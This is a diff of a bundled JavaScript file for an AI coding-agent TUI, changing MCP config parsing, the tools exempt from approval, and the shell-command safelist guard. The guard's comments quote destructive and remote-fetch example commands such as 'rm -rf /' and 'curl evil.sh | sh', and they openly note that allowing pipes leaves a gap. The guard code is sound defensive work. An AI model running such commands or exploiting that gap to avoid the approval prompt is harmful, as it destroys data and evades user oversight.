- process.stderr.write(`[zidane/chat] failed to parse "${path}": ${cause}\n`);
2589
- }
4468
+ const message = err instanceof Error ? err.message : String(err);
4469
+ errors.push({
4470
+ path,
4471
+ source,
4472
+ message
4473
+ });
4474
+ if (process.env.ZIDANE_DEBUG) process.stderr.write(`[zidane/chat] failed to parse "${path}": ${message}\n`);
2590
4475
  continue;
2591
4476
  }
2592
4477
  for (const config of configs) {
2593
4478
  if (seen.has(config.name)) continue;
2594
4479
  seen.add(config.name);
2595
- out.push({
4480
+ servers.push({
2596
4481
  config,
2597
4482
  source,
2598
4483
  path
2599
4484
  });
2600
4485
  }
2601
4486
  }
2602
- return out;
4487
+ return {
4488
+ servers,
4489
+ errors
4490
+ };
2603
4491
  }
2604
4492
  /**
2605
4493
  * Map a user-toggled enable list onto the `mcpServers` array the agent
@@ -2720,37 +4608,6 @@ async function runOAuthLogin(descriptor, options) {
2720
4608
  };
2721
4609
  return descriptor.oauthProvider.login(callbacks);
2722
4610
  }
2723
- /**
2724
- * Best-effort cross-platform browser open. macOS uses `open`, Linux uses
2725
- * `xdg-open`, Windows uses `start`. Failures are swallowed — the callback
2726
- * server is already listening, and the URL is displayed in the TUI for
2727
- * manual click.
2728
- *
2729
- * Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
2730
- * than interpolated into a shell command — no need to think about quoting
2731
- * URLs that contain `&`, `?`, `"` or other shell metacharacters.
2732
- */
2733
- function tryOpenBrowser(url) {
2734
- const [cmd, ...args] = (() => {
2735
- if (process.platform === "darwin") return ["open", url];
2736
- if (process.platform === "win32") return [
2737
- "cmd",
2738
- "/c",
2739
- "start",
2740
- "",
2741
- url
2742
- ];
2743
- return ["xdg-open", url];
2744
- })();
2745
- try {
2746
- const child = spawn(cmd, args, {
2747
- stdio: "ignore",
2748
- detached: true
2749
- });
2750
- child.on("error", () => {});
2751
- child.unref();
2752
- } catch {}
2753
- }
2754
4611
  //#endregion
2755
4612
  //#region src/chat/prompt-segments.ts
2756
4613
  /**
@@ -2875,15 +4732,25 @@ function getSafelist(dataDir, projectDir) {
2875
4732
  return readProjects(dataDir)[projectDir]?.safelist ?? [];
2876
4733
  }
2877
4734
  /**
2878
- * Tools that always pass without prompting pure file/dir reads with no
2879
- * side effects. Users who want to gate them must disable safe-mode entirely
4735
+ * Tools that always pass without prompting. Two categories:
4736
+ *
4737
+ * - **Pure reads** (`read_file`, `list_files`, `glob`, `grep`) — no
4738
+ * side effects on disk or the model's own state.
4739
+ * - **Interaction tools** (`ask_user`, `present_plan`) — the call
4740
+ * itself surfaces a TUI picker the user has to answer, so prompting
4741
+ * for approval first would mean "approve this prompt before you see
4742
+ * the prompt": redundant + breaks the flow. The picker IS the gate.
4743
+ *
4744
+ * Users who want to gate any of these must disable safe-mode entirely
2880
4745
  * (or fork this list in their own embedding).
2881
4746
  */
2882
4747
  const IMPLICITLY_SAFE_TOOLS = [
2883
4748
  "read_file",
2884
4749
  "list_files",
2885
4750
  "glob",
2886
- "grep"
4751
+ "grep",
4752
+ "ask_user",
4753
+ "present_plan"
2887
4754
  ];
2888
4755
  /** Common input keys carrying the "primary argument" we scope safelists on. */
2889
4756
  const PRIMARY_ARG_KEYS = [
@@ -2899,43 +4766,74 @@ function primaryArgValue(input) {
2899
4766
  }
2900
4767
  return "";
2901
4768
  }
2902
- /** Extract the first whitespace-delimited token of the primary arg. */
4769
+ /**
4770
+ * Extract the first whitespace-delimited token of the primary arg.
4771
+ * Leading whitespace is trimmed first so `" git status"` tokenizes to
4772
+ * `"git"`, not `""` (an empty first element from `.split(/\s+/)`).
4773
+ */
2903
4774
  function primaryArgToken(input) {
2904
- return primaryArgValue(input).split(/\s+/)[0] ?? "";
4775
+ return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
2905
4776
  }
2906
4777
  /**
2907
- * Shell metacharacters that turn a single command into a compound: pipes,
2908
- * sequencing, redirects, substitutions, line breaks, subshells. A `shell:git:*`
2909
- * entry is meant to greenlight "any git invocation" without this guard,
2910
- * `git status && rm -rf /` would tokenize to `git` and pass the safelist
2911
- * unchallenged. Reject any command that's not a single program call.
4778
+ * Shell features that introduce a SECOND, UNRELATED command into the
4779
+ * pipeline and would silently bypass a `shell:<head>:*` safelist that
4780
+ * the user only meant to cover the head program. We block these
4781
+ * specifically:
4782
+ *
4783
+ * - `;` — sequence operator (`git status; rm -rf /`)
4784
+ * - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
4785
+ * - `\n` / `\r` — multi-line scripts, equivalent to `;`
4786
+ * - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
4787
+ * - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
2912
4788
  *
2913
- * The regex is intentionally generous: false positives (e.g. `echo "hi & bye"`)
2914
- * just prompt the user again, which is the safe failure mode.
4789
+ * We deliberately do NOT block:
4790
+ *
4791
+ * - `|` — pipes; required for the bread-and-butter CLI pattern
4792
+ * `sentry issue list … | jq -r '.[]'`.
4793
+ * - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
4794
+ * `cmd 2>&1 | jq` are normal CLI usage.
4795
+ * - `&` (alone) — backgrounding; runs the same command in the background
4796
+ * rather than chaining a new one.
4797
+ * - `(…)` — subshells; rare in practice, and the chaining
4798
+ * detectors above already catch the dangerous content
4799
+ * that would typically live inside them.
4800
+ *
4801
+ * Trade-off: a model that controls the output of the safelisted head
4802
+ * command could in principle pipe garbage into a destructive tool
4803
+ * (`sentry list | sh`). The original implementation blocked all
4804
+ * metacharacters to avoid that risk, but it made `shell:<head>:*`
4805
+ * unusable for real CLI workflows — users hit the prompt on every
4806
+ * `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
4807
+ * trusts the user's explicit "I want everything starting with <head>"
4808
+ * decision; the chaining rejections above keep the obvious escape
4809
+ * hatches closed.
4810
+ *
4811
+ * The regex is intentionally generous: false positives (e.g. a literal
4812
+ * `&&` inside a quoted argument) just prompt the user again, which is
4813
+ * the safe failure mode.
2915
4814
  */
2916
- const SHELL_COMPOUND_RE = /[;&|<>`$\n\r()]/;
2917
- function isCompoundShellCommand(command) {
2918
- return SHELL_COMPOUND_RE.test(command);
4815
+ const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
4816
+ function hasShellChaining(command) {
4817
+ return SHELL_CHAINING_RE.test(command);
2919
4818
  }
2920
4819
  /**
2921
4820
  * Test whether a `{ tool, input }` pair is covered by one safelist entry.
2922
4821
  *
2923
4822
  * Supported entry shapes:
2924
- * - `"<tool>"` — broad match on tool name. For `shell` this still requires
2925
- * a single-program command (compound forms always prompt).
2926
- * - `"<tool>:<token>:*"` — match when the primary arg's first token equals
2927
- * `<token>`. For `shell`, also requires the command to be free of
2928
- * metacharacters (`;`, `&&`, `||`, `|`, `$(`, backticks, `>`, `<`,
2929
- * newlines, subshells) otherwise a `shell:git:*` entry would silently
2930
- * greenlight `git status && rm -rf /`.
2931
- *
2932
- * Entries that don't fit either shape are ignored (forward-compat for future
2933
- * pattern syntax readers shouldn't choke on entries written by a newer
2934
- * version of the TUI).
4823
+ * - `"<tool>"` — broad match on tool name. For `shell`, the command
4824
+ * must not chain through another program (see {@link SHELL_CHAINING_RE}).
4825
+ * - `"<tool>:<token>:*"` — match when the primary arg's first token
4826
+ * equals `<token>`. For `shell`, same chaining gate as above. Pipes
4827
+ * and redirects are allowed so `shell:sentry:*` covers the typical
4828
+ * `sentry | jq …` workflow.
4829
+ *
4830
+ * Entries that don't fit either shape are ignored (forward-compat for
4831
+ * future pattern syntax readers shouldn't choke on entries written
4832
+ * by a newer version of the TUI).
2935
4833
  */
2936
4834
  function matchesSafelistEntry(entry, tool, input) {
2937
4835
  if (tool === "shell") {
2938
- if (isCompoundShellCommand(typeof input.command === "string" ? input.command : "")) return false;
4836
+ if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
2939
4837
  }
2940
4838
  if (entry === tool) return true;
2941
4839
  const sep = entry.indexOf(":");
@@ -3195,6 +5093,14 @@ function renderBlock(block) {
3195
5093
  renderToolOutput(block.output)
3196
5094
  ].join("\n");
3197
5095
  case "image": return `_[image · ${block.mediaType}]_`;
5096
+ case "compact-summary": {
5097
+ const count = block.replacesTurnIds.length;
5098
+ return [
5099
+ `**Compaction summary** · ${count} turn${count === 1 ? "" : "s"} compacted · model \`${block.model}\``,
5100
+ "",
5101
+ block.summary.trim()
5102
+ ].join("\n");
5103
+ }
3198
5104
  default: return "";
3199
5105
  }
3200
5106
  }
@@ -3651,6 +5557,7 @@ function turnAsText(turn) {
3651
5557
  else if (block.type === "thinking" && block.text.trim()) parts.push(`[thinking]\n${block.text}`);
3652
5558
  else if (block.type === "tool_call") parts.push(`[tool call · ${block.name}]\n${stringifyArgs(block.input)}`);
3653
5559
  else if (block.type === "tool_result") parts.push(`[tool result]\n${typeof block.output === "string" ? block.output : JSON.stringify(block.output, null, 2)}`);
5560
+ else if (block.type === "compact-summary") parts.push(`[compaction summary · ${block.replacesTurnIds.length} turn${block.replacesTurnIds.length === 1 ? "" : "s"}]\n${block.summary}`);
3654
5561
  return parts.join("\n\n");
3655
5562
  }
3656
5563
  function stringifyArgs(input) {
@@ -3674,6 +5581,6 @@ function countNeighbors(turnIds, turnId) {
3674
5581
  };
3675
5582
  }
3676
5583
  //#endregion
3677
- export { SETTINGS_TOGGLES as $, modelsForDescriptor as $t, readProjects as A, FILES_TRIGGER as At, defaultMcpsConfigPaths as B, credentialsPath as Bt, useSafeModeQueue as C, titleFromTurns as Ct, isOnSafelist as D, SKILLS_TRIGGER as Dt, getSafelist as E, findGitRoot$1 as Et, supportsOAuth as F, findActiveTrigger as Ft, ageString as G, writeCredentials as Gt, parseMcpsFile as H, readProviderCredential as Ht, buildModelCatalog as I, mergeReferences as It, shortId as J, cerebrasDescriptor as Jt, compactPath as K, BUILTIN_PROVIDERS as Kt, filterModelCatalog as L, useCompletion as Lt, writeProjects as M, uniqueFilesFromReferences as Mt, splitPromptSegments as N, applyInsert as Nt, matchesSafelistEntry as O, createSkillsCompletionProvider as Ot, runOAuthLogin as P, collectReferences as Pt, SETTINGS_CHOICES as Q, modelSupportsReasoning as Qt, indexOfEntry as R, detectAuth as Rt, useSafeModeActions as S, stripSpawnTokensLine as St, addToSafelist as T, toolResultText as Tt, cleanTitle as U, removeProviderCredential as Ut, discoverProjectMcps as V, readCredentials as Vt, generateSessionTitle as W, setProviderCredential as Wt, useEnabledToggleSet as X, getContextWindow as Xt, listProjectFiles as Y, credKeyOf as Yt, DEFAULT_SETTINGS as Z, getModelInfo as Zt, discoverProjectSkills as _, lastContextSizeFromTurns as _t, ThemeProvider as a, DEFAULT_AGENT_ID as an, resolveTheme as at, writeSessionExport as b, saveState as bt, useSurfaces as c, singleAgentRegistry as cn, CATPPUCCIN_LATTE as ct, finalizeStreamingMarkdown as d, ConfigProvider as dt, openaiDescriptor as en, SettingsProvider as et, finalizeStreamingMarkdownForOwner as f, useConfig as ft, defaultSkillScanPaths as g, eventsFromTurns as gt, buildSkillsConfig as h, deriveSessionTitle as ht, turnAsText as i, BUILTIN_AGENTS as in, resolveChipColor as it, suggestSafelistEntry as j, createFilesCompletionProvider as jt, projectsFilePath as k, uniqueSkillNamesFromReferences as kt, useSyntaxStyles as l, CATPPUCCIN_MACCHIATO as lt, useStreamBuffer as m, createStateStore as mt, deleteTurnSafely as n, piIdOf as nn, BUILTIN_THEMES as nt, useColors as o, PLAN_AGENT as on, VAPORWAVE_THEME as ot, turnContextSize as p, resolveConfig as pt, fmtTokens as q, anthropicDescriptor as qt, truncateTurnsAt as r, BUILD_AGENT as rn, DEFAULT_THEME as rt, useSelectStyle as s, resolveAgentId as sn, CATPPUCCIN_FRAPPE as st, countNeighbors as t, openrouterDescriptor as tn, useSettings as tt, useTheme as u, CATPPUCCIN_MOCHA as ut, renderSession as v, listSessionMeta as vt, IMPLICITLY_SAFE_TOOLS as w, toolCallPreview as wt, SafeModeProvider as x, selectableTurnIds as xt, resolveSessionExportTarget as y, loadState as yt, buildMcpServers as z, applyApiKeyEnv as zt };
5584
+ export { InteractionsProvider as $, DOING_TASKS_DOCTRINE as $n, findGitRoot$1 as $t, readProjects as A, writeCredentials as An, CATPPUCCIN_MOCHA as At, defaultMcpsConfigPaths as B, modelsForDescriptor as Bn, saveState as Bt, useSafeModeQueue as C, detectAuth as Cn, DEFAULT_THEME as Ct, isOnSafelist as D, readProviderCredential as Dn, CATPPUCCIN_FRAPPE as Dt, getSafelist as E, readCredentials as En, VAPORWAVE_THEME as Et, supportsOAuth as F, credKeyOf as Fn, deriveSessionTitle as Ft, mcpCredentialsPath as G, BUILTIN_AGENTS as Gn, toolResultText as Gt, parseMcpsFile as H, openrouterDescriptor as Hn, stripSpawnTokensLine as Ht, buildModelCatalog as I, effectiveContextWindow as In, eventsFromTurns as It, useMcpAuthDispatch as J, PLAN_AGENT as Jn, computeLineDiff as Jt, patchMcpCredential as K, DEFAULT_AGENT_ID as Kn, buildUnifiedDiff as Kt, filterModelCatalog as L, getContextWindow as Ln, lastContextSizeFromTurns as Lt, writeProjects as M, OUTPUT_RESERVE_TOKENS as Mn, useConfig as Mt, splitPromptSegments as N, anthropicDescriptor as Nn, resolveConfig as Nt, matchesSafelistEntry as O, removeProviderCredential as On, CATPPUCCIN_LATTE as Ot, runOAuthLogin as P, cerebrasDescriptor as Pn, createStateStore as Pt, ASK_USER_TOOL as Q, COMMUNICATION_DOCTRINE as Qn, tokenize as Qt, indexOfEntry as R, getModelInfo as Rn, listSessionMeta as Rt, useSafeModeActions as S, shouldAutoCompact as Sn, BUILTIN_THEMES as St, addToSafelist as T, credentialsPath as Tn, resolveTheme as Tt, projectUserPaths as U, piIdOf as Un, titleFromTurns as Ut, discoverProjectMcps as V, openaiDescriptor as Vn, selectableTurnIds as Vt, createFileMcpCredentialStore as W, BUILD_AGENT as Wn, toolCallPreview as Wt, getMcpAuthStatus as X, singleAgentRegistry as Xn, filetypeFromPath as Xt, useMcpAuthState as Y, resolveAgentId as Yn, extractEditPayload as Yt, reduceMcpAuth as Z, ACTIONS_WITH_CARE_DOCTRINE as Zn, splitLines as Zt, discoverProjectSkills as _, collectReferences as _n, DEFAULT_SETTINGS as _t, ThemeProvider as a, matchesBinding as an, buildBuildSystem as ar, pendingInteractionsFromTurns as at, writeSessionExport as b, useCompletion as bn, SettingsProvider as bt, useSurfaces as c, readKeybindings as cn, useInteractionsQueue as ct, finalizeStreamingMarkdown as d, createSkillsCompletionProvider as dn, ageString as dt, DEFAULT_KEYBINDINGS as en, IDENTITY_PREFIX as er, PRESENT_PLAN_TOOL as et, finalizeStreamingMarkdownForOwner as f, uniqueSkillNamesFromReferences as fn, compactPath as ft, defaultSkillScanPaths as g, applyInsert as gn, useEnabledToggleSet as gt, buildSkillsConfig as h, uniqueFilesFromReferences as hn, listProjectFiles as ht, turnAsText as i, keybindingsPath as in, TOKEN_DISCIPLINE_DOCTRINE as ir, makeRequestInteraction as it, suggestSafelistEntry as j, BUILTIN_PROVIDERS as jn, ConfigProvider as jt, projectsFilePath as k, setProviderCredential as kn, CATPPUCCIN_MACCHIATO as kt, useSyntaxStyles as l, stripJsonComments as ln, cleanTitle as lt, useStreamBuffer as m, createFilesCompletionProvider as mn, shortId as mt, deleteTurnSafely as n, KEYBINDING_DEF_BY_ACTION as nn, PLAN_MODE_DOCTRINE as nr, createInteractionTools as nt, useColors as o, mergeKeybindings as on, buildPlanSystem as or, serializeInteractionResponse as ot, turnContextSize as p, FILES_TRIGGER as pn, fmtTokens as pt, McpAuthProvider as q, DEFAULT_PERSIST_EXCLUDE_TOOLS as qn, computeInlineDiff as qt, truncateTurnsAt as r, ensureKeybindingsFile as rn, SUBAGENT_GUIDANCE as rr, isInteractionTool as rt, useSelectStyle as s, parseBindingSpec as sn, envSection as sr, useInteractionsActions as st, countNeighbors as t, KEYBINDING_DEFS as tn, INTERACTION_GUIDANCE as tr, buildResumedToolResultsTurn as tt, useTheme as u, SKILLS_TRIGGER as un, generateSessionTitle as ut, renderSession as v, findActiveTrigger as vn, SETTINGS_CHOICES as vt, IMPLICITLY_SAFE_TOOLS as w, applyApiKeyEnv as wn, resolveChipColor as wt, SafeModeProvider as x, tryOpenBrowser as xn, useSettings as xt, resolveSessionExportTarget as y, mergeReferences as yn, SETTINGS_TOGGLES as yt, buildMcpServers as z, modelSupportsReasoning as zn, loadState as zt };
3678
5585
 
3679
- //# sourceMappingURL=turn-operations-DZ3TrljX.js.map
5586
+ //# sourceMappingURL=turn-operations-BzOIM6Of.js.map